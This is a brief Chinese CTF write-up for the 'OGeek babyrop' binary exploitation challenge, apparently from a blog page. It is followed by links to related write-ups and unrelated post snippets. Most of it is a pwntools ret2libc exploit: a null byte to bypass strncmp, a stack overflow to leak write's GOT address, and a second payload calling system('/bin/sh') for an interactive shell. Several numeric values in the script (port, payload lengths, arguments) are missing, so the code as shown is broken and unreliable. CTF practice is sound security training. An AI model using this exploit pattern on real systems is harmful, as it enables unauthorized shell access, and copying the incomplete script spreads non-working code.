ogeek babyrop
拖入ida



先用strncmp使一个随机数与输入比对,这里可以用\x00跳过strncmp
然后read()中的a1是我们输入\x00后的值
写exp
from pwn import *
sh=remote('node1.buuoj.cn',)
#sh=process('/home/harmonica/Desktop/oppo/rop/babyrop')
elf=ELF('/home/harmonica/Desktop/oppo/rop/babyrop')
libc=ELF('/home/harmonica/Desktop/oppo/rop/libc-2.23.so')
bin_sh_off=0x0015902b
system_off=0x0003a940
write_plt = elf.plt['write']
write_got = elf.got['write']
main=0x08048825
payload='\x00'+'\xff'*
sh.sendline(payload)
sh.recvuntil('Correct\n')
payload='a'*0xe7+'bbbb'+p32(write_plt)+p32(main)+p32()+p32(write_got)
sh.sendline(payload)
write_addr = u32(sh.recv()[:])
libcbase = write_addr - libc.sym['write']
log.success("libcbase: "+hex(libcbase))
system_addr = libcbase + system_off
binsh_addr = libcbase + bin_sh_off
payload='\x00'+'\xff'*
sh.sendline(payload)
sh.recvuntil('Correct\n')
payload='a'*0xe7+'bbbb'+p32(system_addr)+'bbbb'+p32(binsh_addr)
sh.sendline(payload)
sh.interactive()
得到flag
ogeek babyrop的更多相关文章
- 2019.8中关村、OGeek(oppo)比赛
		中关村writeup https://mp.weixin.qq.com/s?__biz=MzU3MzczNDg1OQ==&mid=2247484106&idx=1&sn=62a ... 
- [BUUCTF]PWN7——[OGeek2019]babyrop
		[BUUCTF]PWN7--[OGeek2019]babyrop 题目网址:https://buuoj.cn/challenges#[OGeek2019]babyrop 步骤: 例行检查,32位,开启 ... 
- OGeek CTR预估
		特征工程:将所有数据拼接到一起做特征,等到处理完,再按索引拆分数据 1.数据分析 查看标签分布:发现valid与testa.testb的分布相似,说明valid与testa的查询时间比较接近,作为验证 ... 
- ogeek线下赛web分析1-python-web
		1.python from flask import Flask, request, render_template,send_from_directory, make_response from A ... 
- buuctf@[OGeek2019]babyrop
		#!/usr/bin/python #coding:utf-8 from pwn import * #context.log_level = 'debug' io = process('./pwn', ... 
- D^3ctf两道 pwn
		这次 的D^3ctf 又是给吊打 难顶... 所以题都是赛后解出来的,在这感谢Peanuts师傅 unprintableV 看看保护: 看看伪代码,其实代码很少 void __cdecl menu() ... 
- Shiro RememberMe 1.2.4远程代码执行漏洞-详细分析
		本文首发于先知: https://xz.aliyun.com/t/6493 0x01.漏洞复现 环境配置 https://github.com/Medicean/VulApps/tree/master ... 
- Buuctf刷题:部分
		get_started_3dsctf_2016 关键词:ROP链.栈溢出.mprotect()函数 可参考文章(优质): https://www.cnblogs.com/lyxf/p/12113401 ... 
- buuctf --pwn part2
		pwn难啊! 1.[OGeek2019]babyrop 先check一下文件,开启了NX 在ida中没有找到system.'/bin/sh'等相关的字符,或许需要ROP绕过(废话,题目提示了) 查看到 ... 
随机推荐
- 2019-9-8-WPF-渲染原理
			title author date CreateTime categories WPF 渲染原理 lindexi 2019-9-8 10:40:0 +0800 2018-7-15 16:2:47 +0 ... 
- Windows server 2012/2016系统安装zabbix3.2客户端
			一. 上传zabbix客户端文件 将zabbix_agents_3.2.0.win.zip文件上传至服务器的指定路径. 二. 解压并修改相关信息 解压已上传的客户端文件,在co ... 
- 一、Iframe
			一.Iframe 自适应iframe的高 <!-- frameborder :设置iframe的边框 scrolling:设置iframe的滚动条 src:设置iframe的路径 onload: ... 
- 【Leetcode周赛】从contest-111开始。(一般是10个contest写一篇文章)
			Contest 111 (题号941-944)(2019年1月19日,补充题解,主要是943题) 链接:https://leetcode.com/contest/weekly-contest-111 ... 
- ForkJoin简单示例
			import java.util.concurrent.ExecutionException; import java.util.concurrent.ForkJoinPool; import jav ... 
- 解决js ajax跨越请求 Access control allow origin 异常
			// 解决跨越请求的问题 response.setHeader("Access-Control-Allow-Origin", "*"); 
- Center OS7网络设置
			虚拟机上设置网络连接为NAT方式(两层路由) 1:保证windows NAT 和dhcp服务启动 2:/etc/sysconfig/network-scripts/ifcfg-* TYPE=Ether ... 
- GSL--GNU Scientific Library 小记
			摘自http://qianjigui.iteye.com/blog/847612 GSL(GNU Scientific Library)是一个 C 写成的用于科学计算的库,下面是一些相关的包 Desi ... 
- 欢迎页jsp
			<!-- 拦截设置 --><servlet-mapping> <servlet-name>dispatcherServlet</servlet-name> ... 
- python之字符串切分
			在工作中,经常遇到字符串切分,尤其是操作linux命令,返回一段文本,如下面这种格式 Filesystem Size Used Avail Use% Mounted on /dev/vda1 40G ... 
